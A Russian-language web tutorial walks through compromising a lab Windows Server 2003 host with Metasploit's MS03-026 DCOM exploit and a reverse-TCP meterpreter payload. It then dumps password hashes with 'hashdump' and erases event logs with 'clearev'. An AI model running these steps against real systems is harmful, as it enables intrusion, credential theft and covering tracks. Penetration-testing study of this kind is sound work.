V-zlom.ru » Kali Linux » Взлом компьютера с помощью Metasploit Framework

Взлом компьютера с помощью Metasploit Framework

Когда говорят «Инструмент для тестирования проникновения», первое, что приходит вам на ум -Metasploit - самый большой в мире проект Ruby, который имеет более 700 000 строчек кода. И не удивительно, что он стал фактическим стандартом для тестирования проникновения и разработки уязвимости с более чем одним миллионом уникальных скачиваний в год и самой большой в мире базой данных качественно гарантированных эксплойтов.

Metasploit Framework – программа и субпроект разработанный Metasploit LLC. Изначально она была роздана в 2003 году на Perl, но позже была кардинально переписана на Ruby. Metasploit вывела тестирование эксплойтов и моделирование на абсолютно новый уровень, что позволило вытеснить ее дорогостоящие коммерческие аналоги путем увеличения скорости и поражающего действия кода эксплойта за самое возможное короткое время.

Metasploit Framework придерживается определенных ключевых шагов для эксплойтироания системы. Это такие ключевые шаги:

1. Выбрать и конфигурировать эксплойт – в качестве целевого объекта. Это код, который будет целевым объектом по отношению к системе с намерением обладания преимуществом над дефектом в программном обеспечении.

2. Проверять достоверность того, что избранная система восприимчива к избранному эксплойту.

3. Выбрать и конфигурировать полезную нагрузку, которая будет использоваться. Эта полезная нагрузка представляет собой код, который будет приводить в действие систему после того, как будет обнаружена лазейка в системе и задана точка входа.

4. Выбрать и конфигурировать схему кодирования, которая будет использоваться, чтобы удостовериться, что полезная нагрузка способна с легкостью обойти Intrusion Detection System (Систему Выявления Вторжения).

5. Выполнить эксплойт.

В этой статье мы предоставим детальное описание использования Metasploit Frameworkдля выполнения эксплойтов с графическими иллюстрациями и командами.

Работа с Metasploit:

Metasploit проста в использовании и была создана с намерением упростить задачу и помочь тестерам преодоления защиты.

Я буду показывать вам все на демонстрационной версии BackTrack 5, поэтому загрузите ее, если у вас ее еще нет – http://www.backtrack-linux.org/downloads/ Причина, по которой используется BackTrack 5, - у нее правильные библиотеки Ruby.

У Metasploit Framework три конфигурации – интерфейсы msfconsole, msfcli и msfweb. Тем не менее, основная и самая предпочтительная рабочая зона – msfconsole. Это действенный интерфейс с командной строкой, который имеет свой собственный набор команд и конфигурационную систему.

Прежде чем приступить к работе, полезно понять, что собой представляют определенные команды Metasploit. Ниже прописаны некоторые из команд, которыми вы будете пользоваться чаще всего. Графическое объяснение их выводов будут даны чуть позже в этой же статье, когда мы будем их использовать во время эксплойтирования определенных блоков.

(i) search : Ввод команды «поиск» вместе со списками ключевых слов из ряда разнообразных возможных эксплойтов, которые имеют эту модель ключевого слова.

(ii)show exploits : Ввод команды «показать действия» выдает нам список доступных на данный момент эксплойтов. Существуют удаленные эксплойты для разнообразных платформ и приложений, включая Windows, Linux, IIS, Apache и т.д., которые помогают тестировать гибкость и понимать работу Metasploid.

(iii)show payloads : С помощью той же команды «показать», мы можем получить список доступных полезных нагрузок. Мы можем использовать команду «показать полезные нагрузки», чтобы получить список полезных нагрузок.

(iv)show options : Ввод команды «показать опции» покажет вам опции, которые вы задали, а также возможно те, которые вы, возможно, забыли задать. Каждый эксплойт и полезная нагрузка сопровождаются своими собственными опциями, которые вы можете задать.

(v) info : Если вам нужна особая информация о эксплойте или полезной нагрузке, вы можете использовать команду «информация». К примеру, скажем, мы хотим получить полную информацию о полезной нагрузке «winbind». Мы можем использовать «info payload winbind».

(vi)use <exploit_name>: Эта команда говорит Metasploit использовать эксплойт со специфическим именем.

(vii)set RHOST <hostname_or_ip>: Эта команда укажет Metasploit избрать специфический удаленный хост.

(viii)set RPORT <host_port>: Эта команда задает порт, к которому Metasplloit будет подключен на удаленном хосте.

(ix)set PAYLOAD : Эта команда задает полезную нагрузку, которая применяется к групповой полезной нагрузке, которая обеспечит вам оболочку, когда сервис эксплойтируется.

(x) set LPORT <local_port>: Эта команда задает номер порта, который полезная нагрузка откроет на сервере, когда эксплойт будет эксплойтироваться. Важно, чтобы этот номер порта было портом, который можно открыть на сервере (то есть, не используется другим сервисом и не зарезервирован для административного использования), поэтому задайте любое число из 4 цифр, которое больше чем 1024 и этого будет достаточно для успешной работы. Вам также будет необходимо менять число каждый раз, когда вы будете успешно эксплойтировать сервис.

(xi)exploit : Собственно эксплойтирует сервис. Еще одна версия эксплойта, rexploit перезагружает ваш код эксплойта и затем выполняет экплойт. Это позволяет вам испытывать минимальные изменения к вашему коду эксплойта без перезагрузки консоля.

(xii)help : Команда «помощь» даст вам базовую информацию обо всех командах, которые не перечислены здесь.

Теперь, когда вы ознакомлены со всеми базовыми командами, вам необходимо запустить ваш эксплойт, давайте выберем пару сценариев по завладению контроля над удаленно соединенной машиной.

СЦЕНАРИЙ:

Атакуемая машина -
OS: Microsoft Windows Server 2003
IP: 192.168.42.129
Машина-взломщик (наша машина) -
OS: Backtrack 5
Версия Kernel: Linux bt 2.6.38 #1 SMP Thu 17 20:52:18 EDT 2011 i686 GNU/Linux
Версия Metasploit: Встроенная версия Metasploit 3.8.0-dev
IP : 192.168.42.128
Цель – Единственная предоставленная нам информация об удаленном сервере - что это сервер Windows 2003 и цель – заполучить доступ к оболочке этого удаленного сервера.

Пошаговая детализация:

Шаг 1:
Произведите скан Nmap удаленного сервера 192.168.42.129
Выведение скана Nmap показывает нам диапазон открытых портов, которые можно увидеть на Рис. 1.
Рисунок 1
Мы можем заметить, что порт 135 открыт. Таким образом, мы можем искать скрипты Metasploit, чтобы произвести эксплойт и заполучить доступ к оболочке, если этот сервер уязвим.
Шаг 2:
В BackTrack пройдите к:
Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole
Рисунок 2
Во время инициализации msfconsole проводятся стандартные проверки. Если все будет работать хорошо, мы увидим дисплей как на Рис. 3.

Рисунок 3
 
Шаг 3:
Теперь мы знаем, что порт 135 открыт, поэтому мы ищем связанный эксплойт RPC в Metasploit.
Чтобы получить список всех эксплойтов, поддерживаемых Metasploit, мы используем команду “show exploits”. Этот эксплойт перечисляет все доступные на данный момент эксплойты, и небольшая их часть показана ниже на Рис. 4.

Рисунок 4

Как вы уже могли заметить, установка Metasploit Framework по умолчанию происходит вместе эксплойтами утилитами, что являет собой внушительный объем и превращает нахождение специфического эксплойта из этого огромного списка в утомительное задание. Следовательно, мы используем более удачный выбор. Вы либо же можете пройти по ссылке http://metasploit.com/modules/, либо же – как альтернативу – использовать команду “search <keyword>” в Metasploit, чтобы найти связанный эксплойт для RPC.
А в типе msfonsole – использовать “search dcerpc”, чтобы находить все эксплойты, связанные с ключевым словом dcerpc, поскольку этот экплойт может быть использовано для заполучения доступа к серверу с уязвимым портом 135. Список всех связанных эксплойтов будет представлен в окне msfonsole, и это мы можем увидеть на Рис. 5.

Рисунок 5

Шаг 4:
Теперь, когда перед вами список эксплойтов rpc, нам понадобится больше информации об эксплойте перед тем, как мы, собственно, используем его. Чтобы получить больше информации относительно эксплойта, вы можете использовать команду «info exploit/windows/dcerpc/ms03_026_dcom», которая предоставляет такую информацию как имеющиеся цели, требования к эксплойтам, детали об уязвимости как таковой, и даже ссылки на то, где можно найти больше информации. Все это показано на Рис. 6.

Рисунок 6
Шаг 5:
Команда «use <exploit_name>» активирует конфигурацию эксплойта для эксплойта <exploit_name>. В нашем случае лучше использовать команду “use exploit/windows/dcerpc/ms03_026_dcom” для активации нашего эксплойта

Рисунок 7
Из этого рисунка можно заметить, что после использования эксплойта «exploit/windows/dcerpc/ms03_026_dcom» подсказка изменятся с “msf>” на “msf exploit(ms03_026_dcom)>”, что символизирует то, что мы вошли во временную конфигурацию этого эксплойта.
Шаг 6:
Теперь нам необходимо сконфигурировать эксплойт под потребность данного сценария. Команда “show options” отображает разнообразные параметры, необходимые для эксплойта, чтобы быть запущенным должным образом. В нашем случае, RPORT уже задан на 135 и единственная опция, которую нужно задать - RHOST, и она может быть задана с помощью применения команды “set RHOST”.
Мы вводим команду “set RHOST 192.168.42.129” и видим, что RHOST задан на 192.168.42.129

Рисунок 8
 
Шаг 7:
Единственный оставшийся шаг, перед тем, как мы запустим эксплойт - это задать полезную нагрузку для эксплойта. Мы можем увидеть все доступные полезные нагрузки, используя команду “show payloads”.
Как показано на рисунке ниже, команда “show payloads” выведет список всех совместимых с выбранным эксплойтом полезных нагрузок.

Рисунок 9

В нашем случае, мы используем обратный tcp meterpreter, который можно задать, используя команду “set PAYLOAD windows/meterpreter/reverse_tcp”, что породит процесс оболочки, если удаленный сервер успешно эксплойтирован. Теперь вы снова должны просмотреть доступные опции, используя команду “show options”, чтобы удостовериться, что все обязательные секции заполнены соответственно с тем, чтобы эксплойт запустился соответствующим образом.

Рисунок 10
 
Шаг 8:
Теперь, когда все готово и эксплойт сконфигурирован должным образом, время запускать этот эксплойт.
Вы можете использовать команду “check”, чтобы проверить, уязвима ли атакуемая машина для эксплойта или нет. Эта опция не имеется для всех эксплойтов, но может стать хорошей системой поддержки перед тем, как вы, собственно, эксплойтируете удаленный сервер для того, чтобы удостовериться в том, что удаленный сервер не защищен от эксплойта, которые вы пытаетесь совершить по отношению к нему.
В нашем случае, как показано на Рис. ниже, выбранный нами эксплойт не поддерживает опцию проверки.

Рисунок 11
Команда “exploit”, собственно, запускает атаку, делая все, что необходимо для того, чтобы полезная нагрузка выполнилась на удаленной системе.

Рисунок 12
Вышеприведенный рисунок показывает, что экплойт был выполнен успешно по отношению к машине 192.168.42.129 благодаря уязвимому порту 135.
Это видно по изменению в подсказке “meterpreter >”.
Шаг 9:
Теперь, когда обратная связь установлена между атакуемой и нашей машиной, мы обладаем полным контролем над сервером.
Мы можем использовать команду “help”, чтобы посмотреть какие из всех команд мы можем использовать на удаленном сервере, чтобы совершить связанные действия, как показано на Рис. ниже.
То, что вы видите ниже, - результаты команд meterpreter.

Рисунок 13

“ipconfig” отображает все нынешние TCP/IP величины конфигурации сети удаленной машины;
“getuid” отображает имя пользователя сервера по отношению к консолю;
“hashdump” выводит содержание базы данных SAM;
“clearev” может быть использовано для ликвидации всех следов вашего пребывания в машине.
Таким образом, мы успешно использовали Metasploit Framework для взлома удаленного сервера Windows 2003 и получения доступа к оболочке, что может быть использовано для контроля удаленной машины и произведения любых операций на наш вкус и усмотрение.

Потенциальное применение Metasploit Framework:

1) Metasploit может быть применена для тестирования на проникновение с целью проверки достоверности отчетов от других автоматических инструментов оценки уязвимости, чтобы доказать, что уязвимость не ложно положительна и может быть экплойтирована. Нужно быть осторожным, так как она может не только опровергнуть ложную положительность, но также способна и на взлом.
2) Metasploit может быть использована для тестирования новых экплойтов, который поступают практически каждый день на ваши местные базовые серверы тестирования, чтобы понять эффективность экплойта.
3) Metasploit также является превосходным инструментом для тестирования ваших систем обнаружения вторжения, чтобы протестировать успешно ли IDS предотвращает атаки, которые мы используем для его обхождения.

Вывод:

Эта статья предоставила высококлассное вступление к использованию Metasploit, чтобы предоставить групповой обзор уязвимости вашей системы и это знание наряду с некоторыми другими исследованиями может помочь вам создать ваши собственные эксплойты и производить тестирование на проникновение как никогда раньше.

 

  • Автор: makar
  • Комментарии: 0
  • Просмотры: 907
2

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!